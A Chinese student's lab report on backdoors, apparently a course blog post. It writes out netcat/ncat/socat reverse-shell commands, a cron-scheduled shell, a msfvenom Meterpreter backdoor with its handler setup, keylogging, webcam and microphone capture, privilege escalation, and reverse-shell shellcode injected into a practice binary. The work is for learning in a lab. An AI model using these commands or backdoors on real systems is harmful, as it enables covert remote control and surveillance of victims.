2020-3-15 20175110王礼博 Exp2后门原理与实践
1.1 知识与概念
nc(全称是netcat)是一个用于TCP/UDP连接和监听的linux工具,有着网络工具中的“瑞士军刀”的美誉。nc的实现版本大致有两种,一种是带有-e
或-c
选项可以直接给出执行命令,另一种不支持-e
选项。
ncat是nmap项目的一部分,在安装nmap的时候会自动安装ncat。ncat号称“21世纪的netcat”,是对netcat的重新实现和升级,而且功能更加强大(如ssl加密、代理连接通过socks4 获取http)
1.2 实验准备
- 关闭win10的防火墙
- 先安装
apt-get install ufw
,然后再输入指令ufw disable
关闭kali防火墙
- 输入
ipconfig
获得win10的IP
- 输入
ip add
获得kali的IP
1.3 Win获得Linux Shell
windows打开监听,指令为
ncat.exe -l -p 5110
kali反弹连接Windows,指令为
nc 192.168.78.1 5110 -e /bin/sh
之后可以发现windows获得linux shell。可以执行指令Linux指令
ls
1.4 Linux获得Win Shell
kali运行监听指令监听端口
nc -l -p 5110
Windows反弹连接Linux
ncat.exe -e cmd.exe 192.168.78.128 5110
kali获得了Windows的命令行提示,可以执行dir指令
- 有关mac的实验由于没有环境所以没办法进行
1.5 利用nc传输数据
利用nc从kali向Windows之间传输数据
Windows输入
ncat.exe -l 5110 > file.out
(将kali输入数据输出的file.out文件,注:file.out文件使用txt打开)kali运行指令为
nc 192.168.78.1 5110 < file.in
(将file.in文件中数据发送给Windows)
1.6 启动cron
Windows打开端口监听
nact -l -p 5110
kali这里输入指令
crontab -e
,选择3,在最后一行添加35 7 14 3 * /bin/netcat 192.168.78.1 5110 -e /bin/sh
,可以发现到时间Windows就获得了shell
2.1 知识与概念
socat也是一款很不错的网络工具,可以认为是nc的加强版。作为一款双向数据流通道工具,它拥有许多强大的功能:端口的连接、端口侦听、收发文件、传递shell、端口转发、端口扫描等。
这里我们只把socat作为传递shell的工具使用。
2.2 使用socat获取主机操作Shell,cron启动
- 右击此电脑,点击管理,点击任务计划程序,再点击创建任务
- 填写任务名,新建一个触发器,选择按预定计划
- 点击操作,在程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写
tcp-listen:5110 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口5110,同时把cmd.exe的stderr重定向到stdout上:
- 创建好后任务准备就绪
- 到达预定时间后,再次打开时,可以发现之前创建的任务已经开始运行,并且会弹出一个cmd窗口,弹出的cmd窗口别关闭。此时,在kali中输入输入指令
socat - tcp:192.168.78.1:5110
,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5110端口,此时可以发现已经成功获得了一个cmd shell
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.78.128 LPORT=5110 -f exe > meter_backdoor.exe
这里的IP地址为控制端IP,即kali的IP,生成后门程序“meter_backdoor.exe”
- 在Windows下执行
ncat.exe -l 5110 > meter_backdoor.exe
,这样被控主机就进入了接收文件模式,在kali中执行nc 192.168.78.1 5121 < meter_backdoor.exe
(注:这里的IP为被控主机IP,即Windows的IP)
- 这时可以看到win成功接受了kali的exe文件
在kali上使用
msfconsole
指令进入msf控制台输入
use exploit/multi/handler
使用监听模块,设置payloadset payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payloadset LHOST 192.168.78.128
,这里用的是Kali的IP,和生成后门程序时指定的IP相同set LPORT 5110
,同样要使用相同的端口
- 设置完成之后,输入指令
exploit
执行监听,并运行Windows下的后门程序,此时kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用
record_mic
指令可以截获一段音频
- 使用
webcam_snap
指令可以使用摄像头进行拍照(注:电脑摄像头坏了,同时我使用的是VMplayer版本,不支持摄像头所以没有照片)
- 使用
screenshot
指令可以进行截屏
- 使用
keyscan_start
指令记录下击键的过程,使用keyscan_dump
指令读取击键记录
- 使用
getuid
指令查看当前用户,使用getsystem
指令进行提权操作(注:win10的提取想了很多方法没有实现,经过和同学的交流,win7的提权应该是可行的)
5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
访问相关网站得到shellcode,通过实验一知我的shellcode起始地址为0xffffd6d0,把地址加在这段shellcode前面,在kali中用其生成input1文件。
perl -e 'print "A" x 32;print"\xd0\xd6\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input1
然后在另一个终端打开msfconsole,并打开监听
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1 //根据shellcode的指定内容来选择的。
set LPORT 4444 //根据shellcode的指定内容来选择的。
show options
exploit
在原来的终端输入命令'(cat input1;cat) | ./pwn20175110',然后再按一次回车,在另一个终端就可以得到shell开始运行
(1)例举你能想到的一个后门进入到你系统中的可能方式?
我看过一部电影,其中黑客利用办公室一位女士喜欢猫的特点,给她发了一份邮件,下载一部关于猫的纪录片,在下载纪录片里隐藏了一个后门程序,然后获得里黑客想要的密码。由此可见,不知名的链接、下载等等,都会成为后门进入系统的渠道。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
Windows:将建立链接的可执行文件伪装成文本文件、游戏、网页等诱导用户打开,与其他文件进行捆绑启动
linux:以具有跟源文件一样时戳的特洛伊木马程序版本来代替二进制程序
Cronjob定时运行后门,入侵者每天在该时刻可以访问
在启动区内隐藏后门
(3)Meterpreter有哪些给你映像深刻的功能?
能够读取其他计算机的大部分动作,比如屏幕截图、读取键盘、截取音频,随时可能被他人监视的感觉令人不寒而栗。
(4)如何发现自己有系统有没有被安装后门?
利用杀毒软件经常对自己的系统进行扫描,看看有没有出现不知名的文件
可以利用一些专业的软件监视自己的cpu、内存的运行和占用情况,看是否出现莫名的大量占用,电脑的运行是否卡死
检查服务器和启动项是否有一些可疑的文件
这次实验,理论知识没有实验一要求的那么多,但是在操作方面遇到了很多问题,哪怕和同学交流,很多问题都是自己独有的。此次试验注重的还是细节,比如各种各样的事前准备,关闭防火墙、获取IP,如果不是老师之前讲过kali的防火墙怎么关闭,我可能还不知道kali自带防火墙。当然,实验能够顺利完成还是很让人兴奋的,尤其是Meterpreter,这与以前在信息安全课上做的实验很类似,信息安全是做了一个木马,然后植入,一个win获取了另一个win的一切,包括控制鼠标、键盘、摄像头,当时是直接用软件生成一个木马程序,经过这次实验,对后门的理解更进一步了,同时也明白信息安全、网络安全的前景确实任重而道远!
2020-3-15 20175110王礼博 Exp2后门原理与实践的更多相关文章
- 20155204 王昊《网络对抗技术》EXP2 后门原理与实践
20155204 王昊<网络对抗技术>EXP2 后门原理与实践 一.实验内容 准备工作(试用ncat.socat) 1. 使用netcat获取主机操作Shell,cron启动. 明确目标: ...
- 20155317王新玮《网络对抗》Exp2 后门原理与实践
20155317王新玮<网络对抗>Exp2 后门原理与实践 一.实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划 ...
- 2018-2019-2 20165312《网络攻防技术》Exp2 后门原理与实践
2018-2019-2 20165312<网络攻防技术>Exp2 后门原理与实践 课上知识点梳理总结 1.后门的概述 后门是指不经过正常认证流程而访问系统的通道 两个关键词:未认证.隐通道 ...
- 2017-2018-2 《网络对抗技术》 20155322 第五周 Exp2 后门原理与实践
#2017-2018-2 <网络对抗技术> 20155322 第五周 Exp2 后门原理与实践 [博客目录] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 2-实践过 ...
- 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...
- 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...
- 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...
- 2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载免费应用的时候会有绑定木马. 浏览某些网页时会有内 ...
随机推荐
- Java中的Xml配置文件(新手)
Java中的Xml配置文件,本文是转发转发转发!重要的事情说三遍 一:概念 1.XML Extensible markup Language 可拓展标记语言 2.功能:存储数据(配置文件,在网络中传 ...
- 基于Jquery WeUI的微信开发H5页面控件的经验总结(1)
在微信开发H5页面的时候,往往借助于WeUI或者Jquery WeUI等基础上进行界面效果的开发,由于本人喜欢在Asp.net的Web界面上使用JQuery,因此比较倾向于使用 jQuery WeUI ...
- VS中执行汇编代码
unsigned char shellcode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" &qu ...
- Ansible权威指南-读书笔记
2 Ansible基础元素介绍 2.1 ansible 目录结构介绍 2.2 ansible 配置文件解析 配置文件解析顺序:当前命令执行目录-->用户家目录下的.ansible.cfg--&g ...
- 手把手教你用java实现syslog消息的收发,学不会你打我喽!
大家好,我是道哥,专注于后端java开发,喜欢写作和分享.如果觉得文章对你有用,那就点个赞呗!如果能转发那是对道哥最大的支持! syslog的定义 见文知义,syslog,从英文名字上可以看出是指系统 ...
- P2341 [USACO03FALL][HAOI2006]受欢迎的牛 G 题解
原题链接 POJ的链接 简要题意: 给定一张图,求多少个点,每个点都能到达它. 本题作为强连通分量的入门题. 何为强连通分量?有什么用? 下面一一解释. 首先,我们要确认,这道题目如果不用强连通分量而 ...
- Python 趣题
如何优雅判断list为空 list_temp = [] if list_temp: # 存在值即为真 else: # list_temp是空的 在Python中,False,0,'',[],{},() ...
- leetcode 签到 面试题 17.16. 按摩师 动态规划
题目: 一个有名的按摩师会收到源源不断的预约请求,每个预约都可以选择接或不接.在每次预约服务之间要有休息时间,因此她不能接受相邻的预约.给定一个预约请求序列,替按摩师找到最优的预约集合(总预约时间最长 ...
- 用FME处理物探点表和线表,生成管线和设施
在项目的数据处理中,客户会提供物探点表和线表. 点表主要包括该点的物探编号.该点的X坐标.Y坐标.点的其他属性 线表主要包括该线的起始点物探编号.终止物探编号.线的其他属性 点表
- Selenium系列(十六) - Web UI 自动化基础实战(3)
如果你还想从头学起Selenium,可以看看这个系列的文章哦! https://www.cnblogs.com/poloyy/category/1680176.html 其次,如果你不懂前端基础知识, ...